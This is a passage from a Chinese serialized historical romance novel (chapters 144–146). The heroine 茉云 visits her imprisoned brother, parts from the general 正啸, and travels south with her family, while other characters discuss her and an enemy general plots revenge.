老太君的目光中闪过一丝遗憾，但她明白了茉云的心思，本也不可强求便不再多言。可她转身冷冷望向正啸，眉角上扬。
正啸还是一副淡然的表情，她的背影在夜色中显得格外孤独，离开时没有回头，只有坚定的脚步，仿佛早已做下了离开的选择。他却始终无法启齿，也无法解释，只能一如既往用无言的冷漠。
家国大业太重，他是背了一辈子重担之人，大战在即，冰冷的理智绝不能在此刻崩溃，他刹那转身走入了自己营帐，烛火渐熄，夜风拂过，带走了仅存的一丝温情……
144.难断
翌日清晨，茉云的家人被接入了营帐，执礼也命人带来了他大哥，让他们家人一见。
众人注目下，茉云的哥哥穆能迈着大步被带进了营帐，众人皆好奇的看了过来，这个眼前身材魁梧面容粗犷，额头上有一道明显伤疤的男子便是她传闻中的大哥。单看这面容，就知道此人经过了无数次风吹雨打，可依旧如此的刚毅和豪迈。
当他见到家人脸上显出了爽朗的笑容，而茉云的嫂子看到穆能之时，泪水便止不住地决堤一般，好像瞬间就要将她的衣襟染湿。
穆能看见妻子痛哭，眼中分明闪过心中一阵揪痛，他轻轻拍拍她的肩试图安慰她，却也词不达意，只说了一句：“行了！”
他声音洪亮有力，却也不自觉流露出无奈与伤感，穆棱也看着他哥亦忍着眼中的微红说：“大哥！”
“听说你的病治好了，那就好，你啊，找个合适的姑娘把婚成了，哥就没什么放心不下了。”
穆棱一时哽咽，眼泪不争气的落下来。
腾腾冲来如幼时一般，趴在穆能腿上，眼中透着欣喜的喊道：“爹。”
穆能心头一紧，用大手用力抱了腾腾一下，感受到他那还这般幼小的肩膀，低声说道：“儿子，好好长大，照顾家和你娘！”
众人只能在一旁默默注视着，心中涌起矛盾的情绪，谁都知道穆能是为父母报仇，极重孝义却终究违了律法。
此时茉云开心的冲进了营帐，冲着穆能和穆棱便开心的笑了喊道：“大哥，二哥！”
他们两都望向茉云，穆能看见茉云则瞬间咧开大嘴笑了，眼中满满都是欣慰。
“茉云。”她嫂子却情难自控，突然一下就跪了下来，“茉云，你也做官了，你求求这些大官的朋友，让他们把你哥放出来，让我们一家团聚吧。”
“嫂子，那是徇私枉法。”茉云则乐了看向嫂子说道，“你若是有这个要求，你怎不早说，我就不走他们这个线路了呀。”
若辰他们看向茉云就乐了，不论多么伤感的事，到她这儿都成了乐事。
“那我听人家说，可以以命抵命。”嫂子泣不成声的拉着茉云说。
“他不就在抵吗？”
“我可以抵你哥的命吗？”
“那不能，冤有头债有主。”
“那可以卖身抵债啊？”
“我好想也听说过，可是嫂子，我听说嫁过人的卖不了多少钱啊。”茉云还是那嬉皮笑脸的乐观模样说道。
穆能瞬间就怒了指着茉云骂道：“怎么跟你嫂子说话的。”
她嫂子依旧泣不成声的说“你可以啊？嫂子这辈子下辈子给你当牛做马！”
“我啊？谁买！嫂子，我有可能还卖不出您的价？”
“扑哧”众人再也忍不住，皆哄堂大笑。
“爹，姑姑老不靠谱了，差点把您和全家搭去给她演戏。他还把我押去做人质，那里真是暗无天日。”小腾想着气愤地说。
穆能一拍桌子瞪着茉云吼道“方茉云，方腾可是咱家现在唯一的后人。”
众人又都看向茉云，她此举着实对待自己侄子太狠了些，带他如暗营为人质。
“哥，我昔日上京城看见了咱爹在刑部的案档，爹的此生心愿是希望用一身所职保南境太平。”
穆能愣了半刻咬紧牙关看向茉云，眼神完全变了，说起爹便是一副傻痴儿的模样，他爹就是他此生最崇拜之人。
“他们都是从京城大老远来保南境太平的，你说我也不能保你儿子，不保他们吧。”
“那你做得对。”穆能调整了一下自己的情绪，低头看向小腾说道“这样的大英雄，咱能给的都给，把命给他们都行。”
威行他们看着，果然他们方家都是这样的性情中人，爱憎分明。
“对，日后将你姑姑给他们。”穆棱笑了调侃茉云说，“自古大恩都是要以身相许。”
“我许你个头。”茉云正要反驳，却被穆能一声怒吼打断了。
“你想什么玩意呢。”穆能指着穆棱骂道，威行他们看着心想大哥果然是还是最心疼妹妹的，谁知穆能一脸嫌弃的指着茉云说，“人大老远的跑南境这儿，来帮你收拾那些恶贼，都是这么仗义的大英雄，你好意思让人弄完了，再带个恶贼回去。”
“扑哧”众人顿时哄堂大笑，茉云顷刻就火了瞪向穆能，正啸此时正好亦走入了营帐，听见穆能正在数落茉云。
“方茉云，你说你能干啥玩意儿。你说别人家姑娘做饭洗衣带孩子侍奉公婆操持家务，你能干啥，打架闹事喝大酒没事找事还贼能吃。咱这辈子也不图你嫁人，别去祸害别人好人家！”
“就现在散了吧，快把他关回去。”茉云没好气的骂道，众人却越笑越欢。
“当时让你嫁去关外，你不嫁，天上掉馅饼的，施公子，那好得跟画里走出来的人似的，你也把婚事给搅黄了，你个……，我都不晓得要怎么骂你。”
“你一个阶下囚你骂我。”
“我就说施公子多好，人又文雅又读了书又脾气好长得又好，家里还有钱有地说不定以后考个功名以后还能混个一官半职，人是人中龙凤你还要如何？”
茉云不服气的怼道：“那就叫人中龙凤。”
“不然呢。”
“这里的谁没读过书，家里没钱没地，没有官职。”
“可人还摔坏了头肯要你吗？”
“那倒没有。”茉云坦然的回答道，众人不禁捧腹大笑。
“所以说这样的条件还摔了头的人，他不多，你！我都不知道如何骂你了，我看见你我恨不得一头撞死自己。”穆能恨铁不成钢的说，“要不你干脆去收拾那帮恶贼，你就嫁去那边，人那儿早炸了。”
腾腾瞬间接过话说道：“爹，姑姑去了，那边确实炸了！”
“你看你是不是块毒！你去贼窝里，贼窝都炸了！”
“方穆能，我见了你的鬼了？”茉云吼道，众人更是笑得前仰后伏，小马他们笑得算是最开心的。
“那里一个叫做幽戎的叔叔还送了姑姑一块宝玉！”腾腾继续看向穆能说道。
顿时营帐里变得鸦雀无声了，齐刷刷的望向茉云。
“你收了？”她二哥穆棱吃惊的望向茉云，“你怎么可以收敌将的东西，玉呢！”
“二叔，玉放在人家塞给我们的包袱里，给了人就走了，也没机会不收啊！”
穆能亦火冒三丈的指着茉云吼道“玉呢？去还人家！”
“还什么还，我当天就当了，不然我吃什么！”茉云想着乐了指着说道，“上次请元帅家里吃饭，不知为何要我付的银子，那就是幽戎那玉当的钱，不晓得他们吃得开心不？”
“扑哧”众人看着正啸瞪向茉云的表情，顿时又哄堂大笑。
“你啊，你！没救了！”
“方穆能，老子跟你养了十年的儿子，我没救了？你但凡有救一点，你都不用把牢底坐穿！”
“我不后悔。”穆能斩钉截铁的看向茉云说道。
茉云深吸一口气看向穆能，其实他心里知道大哥从来都不做后悔之事，他都是想好的。
“爹娘的恩情这辈子咱肯定要报，老二过好方家的小日子，你去过你的畅快的日子，我觉得挺好，我这辈子欠他们娘两的，我下辈子再还。”穆能那豪爽的气势，瞬间将悲壮拉起又留下一丝暖意，句句透着他对亲人的深深的情谊。
穆棱看着穆能眼眶红了，他们大嫂更是又瞬间泣不成声。
“咱要记得爹说的，咱这辈子不低头，爹说要南境太平，咱就按他说的干。”
茉云深深吸了口气，嘴角泛起了坚毅而不屈的微笑，看向穆能……这就是他的大哥，拥有最简单和直接的方式看待这个世间，爱憎分明，可以将自己燃尽全部报答父母，护卫家人，好像他此生来到人世就是来报恩的。
“看你嫂子和侄子都瘦成这样，多给买点好吃的。给家里把房子修修，给爹娘把坟修修，给你二哥找个人过日子……”
“哥要不想个办法，我进去帮你坐牢，你自己出来把这些事都办了吧。”
“算了，他们还是自求多福吧。”穆能叹了口气说道“你把自己日子过明白就行。行了，不要耽误官差大哥，我也要回去了。”
这个时候她嫂子不顾一切的抱着穆能嚎啕大哭，小腾跪了下来给穆能磕头。
穆能最后一刻拉紧跟上前的穆棱，小声感叹说：“去青岚坟前时，帮大哥也上柱香，这辈子咱对不起她！”
穆棱动容的含着泪点点头，他亦知道穆能为何最后才小声跟自己说，她是怕茉云听到了，最终穆能松开了她大嫂的手，跟着官差走了。
她嫂子哭着看着茉云说道：
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“求求大人们，求求大人们吧。”
“娘，姑姑不能徇私枉法。”
“可是为父母报仇又有什么错啊。爹娘也是为了保一方太平，被奸人所害才惨死的啊。”
“娘。”
茉云抬手扶起了痛苦的嫂子，笑着安慰道：“大嫂，我争取日后多立功，看是否能大哥赎出来！”
他大嫂好像看见希望般，拉着茉云的手拼命点头。
正啸和若辰顿时抬头望向茉云，朝廷法度只有一等的功绩才能为家人赎这等大罪，也就是以命换命。
“腾腾，去收拾好行囊，咱准备回家了！”随着大哥的背影缓缓消失，她的心中似乎也随掀起了波澜，她知道自己此刻不该再呆在军中，不然他也不会极力不容自己。
黄昏之时，南营似乎被染成了橙红，夕阳余晖如同火焰般将整个营地笼罩在一层柔和又零落光芒中。
营帐内，正啸坐在案前，面容如往日般沉静而威严，可不知为何营帐内的氛围透着说不出的凝重。若辰拨开帐帘，看见正啸的身影在渐暗的光线中显得格外寂寥。
黄昏将尽，茉云也将离开军营，离开他。这一去，不知何时再见，或许，再见时终将只能是遥遥相望的身影。
帐外已经传来茉云之马的低鸣声，那是她马都已在等候，随时准备踏上离开的路。
“你便是去送一下也无妨吧……”若辰望向他无奈的说道，而此时茉云居然出现在他身后。
“诶。”茉云抬手便掀开了帐帘，走进营帐用手指敲敲正啸桌子说，“今儿正好天气好，枪法走一遍，给我看。”
“我在写公文。”
“你公文写不完的，而我要撤了。”茉云抬手扯过公文说。
正啸无语的放下笔，抬目望向茉云，四目相触之时，茉云迅速的转身走向营帐外。
“将军，今日晚霞绚烂。”东山深吸一口气看向营帐外说道。
正啸起身走出了营帐，千山马上把银枪放在他手上，正啸无语的望向千山，执礼轻轻都忍着笑。
“我就走一遍，你自己看清楚。”正啸走入了营帐外演武坪。
正啸走到坪中间，他的身影在黄昏的光辉下显得格外魁梧，双目如电，握住枪杆的手猛然一挥，枪尖划破空气，发出阵阵凌厉的风声。
茉云立在一旁，目光凝重，静静注视着他每一个动作，只有在此刻自己可以毫无顾忌的望向他。
正啸将卢家枪法每一招每一式都练得如行云流水，却又带着雷霆之势，仿佛每一枪都能撼动天地。银枪在他手中仿佛有了生命，寒光闪烁间，带出一股凌厉和抗争的气势。仿佛在跟茉云说，不论前路有坎坷或是迷茫，她都该披荆斩棘，勇往直前。
茉云瞬间心中百感交集，似乎能感同身受每一枪的抗争和他困兽的无奈，难道是自己的错觉吗？这好像是他无言的告别与期望……
练到最后一式，正啸猛地将枪一收，枪尖直指地面，整个人在黄昏的余晖中定住立于茉云前方。风吹起他的衣袂，将他身上最后一丝温存化作黄昏光辉，送到了她的面前。
顷刻间黄昏的最后一抹余晖撒下，茉云没有动只是望向正啸，正啸也深深望向她，四目相触仿佛目光中有千言万语，却终究化作了沉默不言。
茉云最终嘴角微微上扬，露出一抹洒脱的笑意，那笑容如同她将这些年与正啸并肩而行的热血，干脆、纯粹全融入其中，不带丝毫负担，亦无怨无悔！
最终茉云双手抱拳，带着惯有的豪气和豁达说道：“今日离别，后会有期，愿卢家军将士兄弟所向披靡，大破峑戎，守住万里江山！”
她的声音依旧爽朗而欢畅，没有丝毫悲戚，说完临别之言，她爽快地转身飞身上马，动作利落，目光坦然。
此时依妮眼中不禁含着泪冲了上来：“茉云姨！”
茉云笑了伸手拍拍她的头，她的神情仿佛是在做一件再寻常不过的事，不为离别而伤感，也不为的情感而纠结。
这便是方茉云，她不知为何，似乎能感受到他此刻的破碎，可她依旧决绝的转身，因为她这一生从不拖泥带水，如若两难，不如两断！
她飒然一笑，策马而去，步伐如此果断，背影都透出一种洒脱与超然，渐行渐远，消失在如血的残阳中。
酒尽风散，落花归田，鱼归大海，不过尔尔。
145.各自
正啸目送茉云的背影，心中之落寞如潮水般涌来，他神态默然的强迫自己收回视线，转身朝营帐走去。
若辰深吸一口气望向他，难道只有自己才能看得出，他的每一步都显得沉重而缓慢，仿佛脚下的土地也在无声地叹息。
他轻轻抚开帐帘走进营帐，仿佛要将外界的纷扰与痛楚都隔绝开来。四周静悄悄的，只有点燃的烛火，那微弱的光芒摇曳着。
他走到案前坐下，握紧桌案边指节微微发白，众人跟随进营帐之时，他恢复了大将军的威严与冷静，他只能深吸一口气，努力让自己冷静下来，逼迫自己不去思量，强迫自己将目光投向战局与职责，还好自己的这一生，早已习惯了克制和失去。
夜里茉云他们在客栈修整，茉云一路都非同寻常的沉默。
“茉云，你也不要伤心了，明年咱咱还能见到你大哥的！”大嫂含着眼泪给茉云剥了一个桔子看向她。
“嗯，大嫂你说的是！”茉云长叹一口气接过桔子，塞到口里吃着。
小腾和穆棱互相看了一眼被逗笑了，小腾叹息着说道：“娘，你说得一点没错，姑姑因为我爹这般难过！”
“那你还说！”
“你哪个眼睛看见我难过了，老子有伤在身，晚饭之时，你还好意思将那好肉都夹了！”
“姑姑，我长身体之时，爹都让我多吃点！”小腾没好气的说道，“此次出家门，姑姑，我可是一分钱酬劳都没有，差点把小命都给你陪了！”
茉云想着好像也是，笑着拿起了一个桔子递给了小腾，小腾没好气的接过桔子忿然剥着皮！
“你此去这大半年，伤成这样，又是去干了什么大事！”
“也没啥，就是搞定两特别狠的人！”茉云往嘴里塞着桔子随意的说，心里不禁想起峑戎没了厄戎和国师，那便是幽戎的天下了，也不知道到他大展拳脚之时，卢正啸能不能和他正面一战，要知道再也没有什么能阻挡幽戎，可是朝堂不知道是否还会对他处处制肘。
小腾此时却嘴角一笑看向穆棱“对，可不是姑姑这么一弄，若辰叔叔和幽戎叔叔都不得不娶了媳妇，她一下搞定了两！”
“我见了你的鬼了！”茉云顷刻一个橘子皮丢到腾腾的脸上骂道，穆棱顿时和小腾笑得前俯后仰。
茉云转身回房，独自在窗前望向繁星，眼神中没有一丝的沉重，反而透着对未来的豪情。前路未卜，但心中无惧，这早已是她习惯了的生活，习惯了在命运之前坦然面对。
当茉云转身看见睡在旁边的大嫂，她想着他大哥居然哭湿了半边枕头才睡着，茉云无奈给她将枕头换个边，所以这世上之人，人和人不同，女人跟女人亦不同。以前自己觉得自己大嫂如疯癫一般，而青岚说自己不过是没有尝过深情的滋味，可是此刻自己的冷静漠然，是因为不够深情吗？
翌日清晨，阳光透过树梢洒落在青石小路上，映出斑驳的光影。茉云早餐吃了美味的米糕，脸上又洋溢出满足的笑容，小腾和家人紧随其后，欢快的笑声在路上回荡，仿佛连马儿也被这份气氛感染，踏着轻快的步伐奔向前去。
为了不给落霞镇的乡亲们又带来不必要的麻烦，他们准备隐姓埋名一段时日再回去，商议之后，她和穆棱准备一路往北游山玩水，正好茉云也可以带着小腾一路吃吃喝喝，将南境所有好吃尽收嘴里……
此时，在巡抚衙门何友望向正在专注写着公文若辰，故意重重叹了一口气，在旁边看书季岚都抬目望向他，可是若辰还是一脸的专注的书写着。
何友最终按耐不住的说道：“哥，就让茉云这么走了？”
若辰才微微抬目望向何友：“你意思你能拦住她？”
“不是你说……你说……”
“二弟不如直说！”季岚微微笑了，温婉的放下书说。
“哥，你说茉云若回老家，真的相亲嫁人了，日后还能出来驰骋八方，为正啸哥大战峑戎立汗马之功吗？”
若辰顷刻嘴角上扬的说“你怎么不去问你正啸哥呢？”
“正啸哥能跟我聊这些就好了，哪次跟他提起方茉云，他不是那一副让她有多远滚多远的样子！”何友无可奈何地说道，“可是如此人才，怎可就这般埋没，回去相夫教子了？”
若辰则被逗笑了继续边奋笔疾书边说：“她相夫教子？那要问世间谁敢娶她了？”
“夫君怎可这般说？茉云乃奇人，不流俗于人世罢了！”季岚看着书轻轻说道。
“嫂嫂，我那日在军营中见茉云和你聊天，第一次见你笑得如此……”
季岚想着又不禁乐了起来，她起身拿出了一张还未裱的画，走向若辰说道：“那日在军营，老太君叫了我和茉云去聊天，茉云说我和夫君大婚，她也没有相赠礼金，故而画了幅画送我。”
若辰放下手中之笔，抬起头拿过画，顿时就喜笑颜开，画上画了一只大白鹅和一只孔雀，皆一脸憨笑互望着，旁边用其最好的字写着愿你两一生相看不厌，何友凑近一看也乐不可支。
“那你回赠了她什么？”
“我将随身的佩戴的玉簪赠予她了！”
“她定然会迅速收下，然后满脸笑颜的说，那怎么好意思！”何友笑着指着画说道。
“对！”季岚点头笑着便将画好好收起来说道。
若辰和何友顿时又乐了，季岚亦笑着小心翼翼将其收入锦盒。
“日后回了京城，再找我熟悉的那家师傅装裱起来！”季岚将锦盒小心放置好。
“茉云就擅长这种空手讨白狼！”何友笑着评价道，“那纸笔墨都定然是偷了东山的！”
“定然是的！”若辰亦笑了再拿起了纸笔说道。
季岚则笑了走到若辰身边轻轻为他研墨：“那也不尽然，她说因为我回礼太过贵重，她提点了我几句！”
“方茉云提点嫂嫂？”
若辰亦饶有兴致的看向季岚，季岚则笑了说道：“她只是随口一说，只是我觉得是提点？”
“夫人说来听听！”
“老太君与我聊天之时，虽说我是关家新妇，但是关家门楣高节，我不需要压力太大，我说我既嫁入关家，便想不辱家族传承和秉承门风，还希望老太君提点能让我做一贤妻！”季岚想着笑了说道，“茉云则看向我说，你有可能不太了解，或者想象得太好，关家男子皆为君子，女的一个比一个能作妖，你千万别传承，老夫人一天到晚哭天抢地，风格也不太适合你！”
“扑哧”若辰和何友想着就乐了，奶奶终日里在家里倚老卖老的提各种无理要求，只有他们爹尚能苦苦相劝，他们一般都知道避而远之。
“她还说老夫人再作妖，你别搭理就是，但是你们家夫人就是妖，要避而远之。”季岚想着降低了声调小声说道。
“啊？”
若辰亦愣松了半刻看向季岚，与关家亲近之人都知道父亲这位续弦一直都不受他尊敬。正啸和茉云亦一直很敬重父亲，曾数落过自己，可从未劝过自己一句要他放下芥蒂，容纳这位父亲续弦的夫人。
“我问茉云为何？”季岚轻轻地笑笑说道，要知道关大人这位续弦的夫人在京城名声非常好，“她说即便是个终日呱噪的猪，厉声凶恶的老鹰，在其身边，关若辰都能容，你不用问为何，他都讨厌的肯定不是个好东西，同仇敌忾就行。”
何友想着亦若有所思，这些年他也劝了兄长很多次，说她待关家和父亲都是极为体贴入微的，可是若辰就是不能容。
“我说可明面上夫人是我婆婆，我若待她不敬，京城中人将如何说我！”季岚亦想着则嘴角上扬的学着茉云的口气说，“结果她睁大眼睛看着我说，胡大小姐，你自幼倾慕关若辰几十年，你爹为此事合计了大半辈子，你终于得偿所愿，嫁于他，你不是想讨他喜欢？你是想讨京城人喜欢？那自你嫁给若辰那一刻起，京城不知道多少女子，把你们十八代祖宗都骂了个遍！瞧你和你爹南辕北辙的都干些什么事？”
何友顿时笑得前俯后仰，若辰亦笑得不行，眼神中倒是闪过宠溺的温和。
“我又问她，那怎得能讨我夫君喜欢他呢？”季岚想着一脸娇俏的说道，“她说首先你不能说卢正啸的坏话，在关若辰那儿卢正啸啥都是香的，就是在他在朝堂上骂朝臣都是猴子，关若辰也觉得他骂得好，他们就是我猴子，我爹也是！”
“我没有！”若辰顷刻笑得不行的反驳道。
“她说其次，你不能嫌弃他弟弟，他跟他弟弟相依为命多年，他们两兄弟这点好，他弟弟从不嫉妒哥哥长得好看，他哥哥从不嫌弃弟弟又吵又傻……”季岚小声的笑着说道。
“诶！”何友顿时忿然起身，然后若有所思骂道，“她说哥连呱噪的猪都能容，是说我吗？”
“定然不是！”若辰拼命忍着笑意说道，“茉云此人说话天半句，地半句，更何况是玩笑之话！”
“哼，方茉云就觉之自己聪明！”
“那倒也非也，她终日说自己帮卢正啸是被驴踢了脑袋！”若辰又乐了说道，他们三人想着茉云那气急败坏的表情不禁又乐了。
“我知道为何二弟说方茉云是你二人的一生挚友了。”季岚温和的笑着说道。
若辰温和的看向季岚，
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眼神就像融入了月光般柔和。
“她总是一脸畅然洒脱却将很多深刻说得那么的轻描淡写，是个值得深交之人。”季岚亦深深望向若辰说道，说完季岚忽然伸手握着若辰的左手。
若辰望着季岚，但是并没有松开她的手。
“夫君，更深露重夜微凉，让我握着你的手可好。”季岚灿然而笑带着一份羞涩说。
“好，我快点将公文写完，陪你回房。”若辰疾书了几笔说道，何友则无语的马上退了出去，可是看着哥哥觅得贤妻，感情深重，自己亦是很为若辰开心的。
季岚笑了望向若辰那如皎月般的侧脸，遥记起茉云当日还和自己说，你别听众人都说关若辰清逸脱俗，不食人间烟火，关若辰极为重情重义，他最大的优点就是若他接纳你，你想要什么，你跟他言明，他有他就都会给你，从不计较得失，找一个像你这般心疼他之人，真是极为幸运的。
她自己心里也明了，当日自己瞧见正啸待若辰这般无理之时，脸上定然是闪现了忿然，而看见茉云此般出生，看似粗俗却受大家如此看重，自己眼里曾都是质疑，这一切都被茉云看在眼里，可她并没有像往日那般锐气，给自己几分颜色瞧，她终究是希望若辰和自己好的。
可是自己心中真是不解，茉云也才和自己一般大小，自己自幼便被夸赞心智玲珑，而她如何修得这份剔透，好似一眼能看透人心……
而此时在苍茫的西部峑戎，经过这次凶险万分的国之动荡，大王已经心力憔悴，对他本要传位的大王子皆是失望至极，而幽戎成为了他的大驸马，成了他身边除了二王子外，最信任之人便是幽戎，军权在握，一人之下万人之上。
幽戎刚回军营豪迈地坐在案前，身上披着厚重的皮毛大氅，仿佛气势便与大漠戈壁的风沙雄壮融为一体。面前摆着一大盘烤羊肉，空气中弥漫着炙烤后羊肉和孜然香气，令人垂涎欲滴。
幽戎大手一挥握着一只粗陶酒碗，碗中满满的是刚倒好的烈酒，浓烈的酒香扑鼻而来，他正在大宴诸将仰头痛饮，诸将立马跟随一饮而尽，豪爽的笑声随着酒香飘散在空气中，仿佛边塞的狂风都因他的笑声而卷起。
他随意切下一块羊肉，毫不拘束地大口咀嚼，此时下属快步走进大帐，恭敬地弯腰禀报：“大将军，府中传来消息，长公主有喜了。”
众人立刻起身跪下恭贺，要知道在峑戎有后是每个家族的大事。
“大王知道此事一定万分喜悦，定能为大王之病冲喜！”集益发自内心的开心贺道。
幽戎点了一下头嘴角微扬，算是回应，随意地挥了挥手让下人退下。众人亦未再多言，他们也知道幽戎现在贵为全军统帅，宛如一头桀骜不驯的雄狮，豪迈狂野亦是孤寂冷酷，于他而言国便是家，仿佛家中之事与他狂野的个性格格不入，何况这是在军中宴请诸将之时，什么都不能打扰他和诸将狂欢的雅兴。
另一个探子急匆匆进入被人挡住，定然是守卫不想他去破坏幽戎的雅兴，幽戎却一眼认出他是南境的探子，他立刻停下手中的动作，目光如电地扫向暗探：“进来！”
探子便被放了进来，单膝跪地神色凝重的汇报：“大人，探得消息，方茉云离开了军营，好似是被卢正啸赶出来的，带着她的侄儿家人不知道去了哪……”
听到这句话，幽戎的动作微微一滞，眼中突然闪过一抹复杂的光芒，嘴角不再挂着笑意。他的眼神瞬间变得深邃，仿佛眼中的风暴在其中酝酿。
“你是不是探错了，再探！”集益看向那密探说道。
“不用了！”幽戎平日里那狂野而不羁的面孔，此刻突然涌现出几分狠戾，手指微微攥紧了酒碗，仿佛下一刻就要捏碎。
“主子，大战在即，卢正啸怎可能赶走方茉云这员大将！”集益身子探向幽戎小声说。
“好，没想到你竟也如此在意她，好！好极了！”他重复着，眼神中透出的锋芒和压抑的愤怒令人胆寒，嘴角的冷笑却逐渐扩大，那笑声犹如破碎的冰渣，回荡在营中，“既然如此，那我寻你两报仇也容易了些。”
这一刻，豪迈的气息被冷酷狠戾所替代，仿佛整个世界都在他的笑声中变得冰冷，周遭空气都凝固了起来。营中似乎忽然一片寂静，连风都停止了呼啸。
幽戎又忽得举起了酒碗大喊一声：“来，喝！”
周围的将军们纷纷举起酒碗，与他共饮。幽戎毫不犹豫地饮下一碗烈酒，火辣的酒液却不能瞬间浇灭他心中的怒火和苦闷。几番畅饮之时，他的笑声显得格外响亮，可沉浸在酒色与黑夜中，却也消散不了那些令人窒息的感觉……
146.我来
茉云出军营，众人便如自由而无拘无束的鸟儿般，一路游山玩水吃吃喝喝。腾腾一直对小桥流水的南境水乡可谓心驰神往，他们就来到了南菁，茉云眺望而去，这是入京必经之地，可自己从未有机会细细品味这一路的如诗如画？
山间的清风与江南的细雨交织着，青山如黛碧水如镜，处处美景如画。茉云看着腾腾和他娘欢快地在湖边畅玩，大嫂这几个月终于从大哥的伤痛中又缓过来了，可自己心思却仿佛未曾到达这片美景。
每当夜深人静仰望满天繁星，或是在静谧的河畔看见烟波浩渺，眼前总能悄然浮现出那个熟悉的身影。还好自己是个无心之人，时间能治愈一切，一晃冬去春来，又渐入深春……
这日，她和家人乘舟夜游，远处灯火通明，水光潋滟，她望向两岸，这般惬意的生活也是种活法。
“姑姑，听说前面南华的园林好看得很，咱什么时候动身啊？”腾腾眨巴着眼转身满脸期待望向茉云。
茉云没有搭理闭上眼睛倒在船上，将双手枕头在脑后，让自己都随着湖打船摆动。穆棱笑笑吸了口气，论茉云最讨厌之地，南华绝对算一个，虽然那儿本是她们娘的娘家。
船家却边摇着船舵边笑着说道：“诸位年轻公子还未婚配吧，可以去南华一行！”
“南华有什么好的？”
“有好女子！”船夫笑着说，“南华出贤妻，若能娶个南华的女子那都是上辈子修的福分！”
茉云随他们聊天，为了掩藏眼里的不屑，她闭上了眼睛，要是还有什么法子能闭上耳朵才好。
“这般优秀吗？”穆棱轻轻的笑了抬头赏月随意答复到。
“那自然是，你可听说南华女子高嫁京城太师府、帅府和太傅府吗？”
“什么府？”腾腾马上望向船夫，穆棱的注意力也被吸引了过来。
“就是给当朝太师府，元帅还有太傅做儿媳妇！满城皆知，我们南菁都知晓！”
穆棱愣了半刻望向茉云，可茉云强迫自己没有睁开眼睛，他……成婚了吗？
可腾腾立即不依不饶的说道：“元帅的儿子成婚了吗？”
“啊！虽不是正室，毕竟不是出生京城贵族，但是嫁给元帅之子做侧室，妾室那也是门楣有光的！”
“侧室？妾室？还娶了两位？”
“这五年将军一共纳了三位南华女子！你们看南华的女子有多优秀？”
他们都愣住了然后望向茉云，茉云睁开了眼睛饶有兴致笑着说“元帅府我倒不感兴趣，但是据说太傅府关公子那可是公子世无双，他纳了几位？”
“四位，皆是琴棋书画样样精通的女子，据说与太傅公子琴瑟和鸣！”
茉云嘴角微扬又闭上了眼睛说道：“这么多人弹琴，不吵吗？！”
“姑姑！”腾腾凑过来小声说，满脸都是愤然。
“行了，别吵，让我睡会儿！”
“我要去南华游历一番！”腾腾不肯放弃的说道。
“行，明日启程，现在让我休息会儿！”茉云没好气的说道。
“哦！”腾腾想着又转头跟穆棱小声说，“姑姑对元帅府没兴趣，我有！”
“为何？”穆棱笑了望向他。
“我想知道卢叔赶走姑姑，他纳了谁？”
茉云一弹起来，差点一脚将腾腾差点踹到湖里。幸亏穆棱和大嫂都将腾腾抓得紧紧，大嫂望向茉云满脸都是无奈的，可穆棱和腾腾则笑得前俯后仰。
一路跋涉他们踏入了南华之时，渐渐从春日微寒转为初夏暖阳，南华城到底为南境最北之城入夏较慢，清晨的阳光透过薄薄的雾霭洒落在街道上，空中还弥漫着丝丝缕缕的寒意，街道两旁的树木，比人早入盛夏的繁茂，枝头上郁郁葱葱的叶子微风中摇曳，城中人还依旧穿着体体面面的厚重长衫，三三两两地聚集穿梭在城镇之中。
茉云挑了间顺眼的新客栈将家人安顿了下来，中午随便在客栈用餐，舟车劳顿他们都要休整一二。
傍晚时分，他们才走出客栈觅食，茉云抬眼望去，这老人还是如以前一样在晚霞余晖中，面颊微红，神情兴奋地讨论着近期的趣事。茶馆和乐楼里，穿着考究的客人亦围坐在一起，品着茶热火朝天的聊着文人墨客之事。
“姑姑，南华城不愧是礼仪之城。”
“谁告诉你的！”
腾腾看向这南华城的集市上，商贩们都写挂着诚实守信为本的匾额，货品前的价格明码标示，顾客们也绝不讨价还价，每次买卖都好似一场遵循礼仪的仪式，买卖结束后，双方微笑着道别，相互之间还会互致祝福，带着一种温暖。
“你看人人相敬如宾，处处皆是彰显礼仪！”
茉云嘴角挑起一抹冷笑，走在青石铺就的街道上，抬眼望去这座古老城池，映入眼帘的是高耸的一座座牌坊，上面雕刻着精美的浮雕，仿佛记录着这个城市源远流长的道德和操守一般。红墙黄瓦的府邸错落有致，门口悬挂的对联也字字珠玑，讲述着为人处世的道理与家族的荣耀。
他们一行走出了集市，走了很远的小道旁边的一家面馆停了下来，几张简陋的木桌和竹凳随意地摆放在路边，似乎与这繁华而讲究的南华城镇格格不入，那面摊连个招牌都没有，布幔因为日晒雨淋显得有些褪色，茉云带着众人在桌旁坐了下来，穆棱则满脸笑意的望向摊主。
那面馆摊主则毫无回应，这是看了一眼落座的众人，没有丝毫的迟疑亦没有丝毫表情，起身移到面瘫旁，看着腿脚并不是多方便，但是丝毫不妨碍其双手精准而有力，擀面、拉面、下锅、调料一气呵成。
沸腾的锅里面条翻滚，带着丝丝麦香，不一会儿摊主捞出筋斗的面，出锅的面条似乎还舍不得锅里的热闹在挣扎的弹着，便被置入清汤之中，瞬间被安抚了起来，面上再舀上一勺浓郁的肉码，热腾腾的香气随着扑鼻的香味升起，让人顿时食欲大开。
摊主抬手一把葱花洒在上面，然后望向了他们指了指，示意面已经做好了。
“天啊，周劲，都这么多年了，你还没学会跟客人上个面吗？”茉云看向那摊主说道，穆棱则一脸笑意的起身端面，而那摊主则依旧毫无表情的在简单的竹凳上坐下，不置可否的望向茉云，眼神中还带有几分嫌弃她呱噪的表情。
“姑姑，你认识？”腾腾轻轻的给茉云端上面说道。
“对，小时候来投奔舅舅之时，每每被舅妈赶出了家门，就到他这儿骗吃骗喝！”
“天啊！”腾腾吃了一筷子便看向穆棱说道，“这么好吃的面，我可以天天被赶出家门！”
“那你就真是你姑的侄儿！尽得她的真传！”穆棱笑着说道。
而此刻摊主望向腾腾眼神才神色稍微温和了点说道：“穆能的儿子？”
“是的，大伯你也曾经做过面给我爹吃？”腾腾憨憨的笑了说道。
穆棱看向周劲那欲言又止的神情说：“大哥给爹娘报仇了，现在在牢里！”
周劲那不苟言笑的面容似乎闪过一丝叹息，他轻咬了牙关，嘴角紧紧抿着但并不显得阴郁，眼里都是赞赏。
“没事，大伯，我爹挺好的，等我长大了会想办法救他出来！”
周劲点点头，起身从面码子罐里又舀出来满满一瓢肉给腾腾盖在面上，腾腾愣了一下望向他，他只是淡淡说了句：“吃！”
“谢谢大伯！”
